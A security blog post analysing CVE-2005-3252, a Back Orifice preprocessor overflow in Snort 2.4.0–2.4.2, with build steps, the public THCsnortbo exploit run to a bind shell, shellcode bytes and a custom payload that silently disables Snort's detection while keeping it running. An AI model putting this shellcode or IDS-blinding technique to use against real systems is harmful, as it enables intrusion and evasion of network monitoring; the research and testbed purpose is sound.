This blog post contains my technical notes on the old Snort Back Orifice (BO) pre-preprocessor buffer overflow vulnerability (CVE-2005-3252).

The bug is a stack buffer overflow in the BO pre-processor module included with Snort versions 2.4.0, 2.4.1 and 2.4.2. This vulnerability may be used to completly compromise a Snort sensor.

This content is part of my interest to design and test more secure networks monitored by Intrusion Detections Systems (IDS) and Intrusion Prevention Systems (IPS) such as Snort and Suricata.

The entry contains the technical details to get a static Snort vulnerable build together with a new payload disabling the detection capabilities and keeping the NIDS alive after a successful exploitation.

The bug

The bug (CVE-2005-3252) is a stack-based buffer overflow in the Back Orifice (BO) preprocessor. The bug allows remote code execution via a crafted UDP packet. Snort versions 2.4.0, 2.4.1 and 2.4.2 are vulnerable.

The bug was disclosed at 2005 together with several public exploits and proof of concept code (PoC). In order to reproduce the original exploitation environment it is recommended installing Debian Sarge 3.1

I will be using the following software versions to explore this vulnerability:

After installing Debian Sarge 3.1 r0a and the required dependencies to build Snort 2.4.0 we will apply this patch in order to support static linking.

The required steps to build Snort 2.4.0 with symbol support and static linking are the following:

$ tar zxvf snort-2.4.0.tar.gz
$ cd snort-2.4.0 && patch -p1 < ../snort-2.4.0-static.patch
patching file configure.in
~snort-2.4.0$ autoconf
~snort-2.4.0$ ./configure --prefix=/opt/snort-2.4.0 --enable-debug --enable-static
~snort-2.4.0$ make && make install
~snort-2.4.0$ file /home/devel/opt/snort-2.4.0/bin/snort
/opt/snort-2.4.0/bin/snort: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, statically linked, not stripped

After building and installing Snort we will configure the usual variables such as EXTERNAL_NET, HOME_NET, etc. We will finish the configuration adding the next testing rule in rules/local.rules.

alert tcp $EXTERNAL_NET any -> $HOME_NET 3333 \
   (msg:"3333 test hit!"; flow:stateless; flags:S; classtype:attempted-recon;)

This rule will alert on TCP/IP packets going to HOME_NET with SYN flag enabled and destination port 3333. The rule will generate the following kind of entry when Snort detects a match.

[**] [1:0:0] 3333 test hit! [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/02-09:00:10.175232 xxx.xxx.xxx.xxx:43737 -> yyy.yyy.yyy.yyy:3333
TCP TTL:47 TOS:0x0 ID:23220 IpLen:20 DgmLen:44
******S* Seq: 0xE7CF1AA6  Ack: 0x0  Win: 0x400  TcpLen: 24
TCP Options (1) => MSS: 1460

The exploit

We will use the THCsnortbo exploit with the return address fixed to work with the previous build.

$ ./THCsnortbo
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Usage: ./THCsnortbo host target

Available Targets:
  1 | manual testing gcc with -O0
  2 | manual testing gcc with -O2

$ ./THCsnortbo yyy.yyy.yyy.yyy 1
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Selected target:
  1 | manual testing gcc with -O0

Sending exploit to yyy.yyy.yyy.yyy
Done.
$ nc yyy.yyy.yyy.yyy 31337
id
uid=100(snort) gid=103(snort) groups=103(snort)
uname -sr
Linux 2.4.27-2-386

The exploit spawns the shellcode before the detection engine identifies the BO traffic. No alert will be generated.

Take into account the usual case of detecting BO traffic, Snort generates the following kind of alerts:

[**] [105:1:1] (spo_bo) Back Orifice Traffic detected [**]
11/02-09:00:56.405038 xxx.xxx.xxx.xxx:48904 -> yyy.yyy.yyy.yyy:53
UDP TTL:64 TOS:0x0 ID:26771 IpLen:20 DgmLen:1428 DF
Len: 1400

So the public PoC will spawn a shellcode on 31337 port by default. The exploitation takes place before the logging code reports the alert.

The attack vector

The bug is in spp_bo:BoGetDirection(). This is the vulnerable code:

static int BoGetDirection(Packet *p, char *pkt_data)
{
    u_int32_t len = 0;
    u_int32_t id = 0;
    u_int32_t l, i;
    char type;
    char buf1[1024];

    ...

    /* Only examine data if this a ping request or response */
    if ( type == BO_TYPE_PING )
    {
        i = 0;
        buf_ptr = buf1;
        *buf1 = 0;
        *buf2 = 0;
        /* Decrypt data */
        while ( i < len )
        {
            plaintext = (char) (*pkt_data ^ (BoRand()%256));
            *buf_ptr = plaintext;
            i++;
            pkt_data++;
            buf_ptr++;

            ...

As described in the PoC, len is taken from the BO packet header so it is a buffer overflow when len > buf1 size.

The exchange of data between the BO client and the server is done using encrypted UDP packets. The BO protocol is documented and it is available here.

The exploit takes control after the packet decoding and before the detection engine code runs. The following picture shows the main stages in the Snort architecture.

The payload

The payload is a binding shellcode...

/* a quick test bind shellcode on port 31337 from metasploit
 * ...
 */
unsigned char x86_lnx_bind[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

The assembly code is available here.

Keeping Snort alive

In order to get a more interesting and useful testing tool/PoC, a pen-tester would need to replace the current payload. The new payload should be able to keep Snort alive. There are several ways to achieve it. In our case we will hack the stack frame chain to reset the code path.

This is the stack frame chain before the overflow takes place.

 #0  BoGetDirection (...) at spp_bo.c:426
 #1  0x08085a5b in BoFind (...) at spp_bo.c:375
 #2  0x08063d6a in Preprocess (...) at detect.c:134
 #3  0x0805d232 in ProcessPacket (...) at snort.c:769
 #4  0x0805d083 in PcapProcessPacket (...) at snort.c:709
 #5  0x080d7611 in pcap_read_packet ()
 #6  0x080d8a47 in pcap_loop ()
 #7  0x0805ea1f in InterfaceThread (arg=0x0) at snort.c:1838
 #8  0x0805d022 in SnortMain (argc=16, argv=0xbffffd04) at snort.c:672
 #9  0x0805c7a6 in main (argc=16, argv=0xbffffd04) at snort.c:187

So as the last exploitation step the payload can come back to the 'InterfaceThread' function's beginning. This step will reset the code path but not the globals so all stats and previous stuff will keep intact.

In this point an advanced pen-tester could be also interested to hack the stack pointer and the base pointer or maybe zeroing the stack to avoid any possible future forensic, but in our case we are interested on a tiny PoC implementing the technique instead of a more stealth and weaponized exploit.

Disabling Snort

While thinking how an attacker could disable Snort I started to have a look in the way how Snort handles the rules in memory.

Every Snort rule consist of a header and a list of options following this format:

The rule parser generates a tree with all the rules. This tree is based on two main data structures called 'Rule Tree Node' (RTN) and 'Option Tree Node' (OTN).

The RTN includes the rule header data while the OTN includes the option data. The OTN also contains a list (OptFpList) with the data (context) and code (custom function) to support the rule detection options. All the OTNs with a matching header are grouped together under a single RTN.

The file rules.h contains the definition of these three key structures (_RuleTreeNode, _OptTreeNode and _OptFpList), and the function fpdetect.c:fpEvalOTN(...) is the function walking the OTN list in order to know if the packet matches all rule options.

static INLINE int fpEvalOTN(OptTreeNode *List, Packet *p)
{
    ...

    if(!List->opt_func->OptTestFunc(p, List, List->opt_func))
    {
        return 0;
    }

    ...

    return 1;
}

With this information in mind we could think about how one attacker could corrupt some of these data structures or even alter some relevant bit in the data packet to 'disable' one or all rules.

Although this approach is a possible way to disable Snort it would be more portable and reliable having a 'magic switch' to turn on/off Snort easily.

Reviewing the code an attacker could find this 'magic switch' in snort.c:ProcessPacket(...) This is the code:

void ProcessPacket(char *user,
                   struct pcap_pkthdr * pkthdr,
		   u_char * pkt,
		   void *ft)
{
    Packet p;

    /* reset the packet flags for each packet */
    p.packet_flags = 0;
    g_drop_pkt = 0;

    /* call the packet decoder */
    (*grinder) (&p, pkthdr, pkt);

    ...

    switch(runMode)
    {
        case MODE_PACKET_LOG:
            CallLogPlugins(&p, NULL, NULL, NULL);
            break;
        case MODE_IDS:
            /* allow the user to throw away TTLs that won't apply to the
               detection engine as a whole. */
            if(pv.min_ttl && p.iph != NULL && (p.iph->ip_ttl < pv.min_ttl))
            {
                DEBUG_WRAP(DebugMessage(DEBUG_DECODE,
                            "MinTTL reached in main detection loop\n"););
                return;
            }

            /* just throw away the packet if we are configured
               to ignore this port */
            if ( p.packet_flags & PKT_IGNORE_PORT )
            {
                return;
            }

            /* start calling the detection processes */
            Preprocess(&p);
            break;
        default:
            break;
    }

    ClearDumpBuf();

}

The 'runMode' variable (1 byte) could be used as that 'magic switch' in Snort 2.4.0. Four possible values are defined in snort.h

...

#define MODE_PACKET_DUMP    1
#define MODE_PACKET_LOG     2
#define MODE_IDS            3
#define MODE_TEST           4

extern u_int8_t runMode;

...

So storing one zero in 'runMode' (1 byte in size) the code will skip going deeper in the packet processing. At the same time Snort will continue reading/processing packages, updating statistics, etc. normally.

Hacking a new payload

With the previous information in mind it is possible extending the THCsnortbo exploit with a new payload supporting the two new features. The new sequence is very simple and compact. It is 13 bytes in size without optimization.

unsigned char x86_lnx_disable_snort_2_4_0[] =
"\xc6\x05\x00\x65\x19\x08\x00"    /* movb  $0x0,0x08196500  */
"\x68\xcd\xe9\x05\x08"            /* pushl $0x0805e9cd      */
"\xc3";                           /* ret                    */

The new code is available in the THCsnortbo-next exploit.

$ ./THCsnortbo-next
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Usage: ./THCsnortbo-next host target

Available Targets:
  1 | x86_lnx_bind
  2 | x86_lnx_disable_snort_2_4_0

$ ./THCsnortbo-next yyy.yyy.yyy.yyy 2
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Selected target:
  2 | x86_lnx_disable_snort_2_4_0

Sending exploit to yyy.yyy.yyy.yyy
Done.

The new tool contains both payloads. The new payload goes under the option 2. Running the new payload disables the current mode (IDS in our case) but it keeps the packet handling and accounting running.

Wrapping Up

This blog post worked around the CVE-2005-3252 vulnerability with the following technical goals:

  • Explore the vulnerable code and the attack vector
  • Build a vulnerable static IDS/IPS
  • Fix and build a functional public exploit working with the vulnerable static IDS/IPS
  • Review the architecture, the packet pipeline, the data structures and the logic related to the detection engine behind an IPS/IDS
  • Extend a public exploit to support more useful payloads in pen-testing scenarios related to IDS/IPS deployments

The content keeps the focus on a successful IDS/IPS exploitation beyond of new and more modern detection capabilities (anomaly, reputation...) included with the last releases.

The entry describes a real exploitation testbed to test and validate offensive/defensive actions and tactics over different network designs and topologies monitorized by one or several rogue IDS/IPS.

Comments

comments powered by Disqus

Recent Entries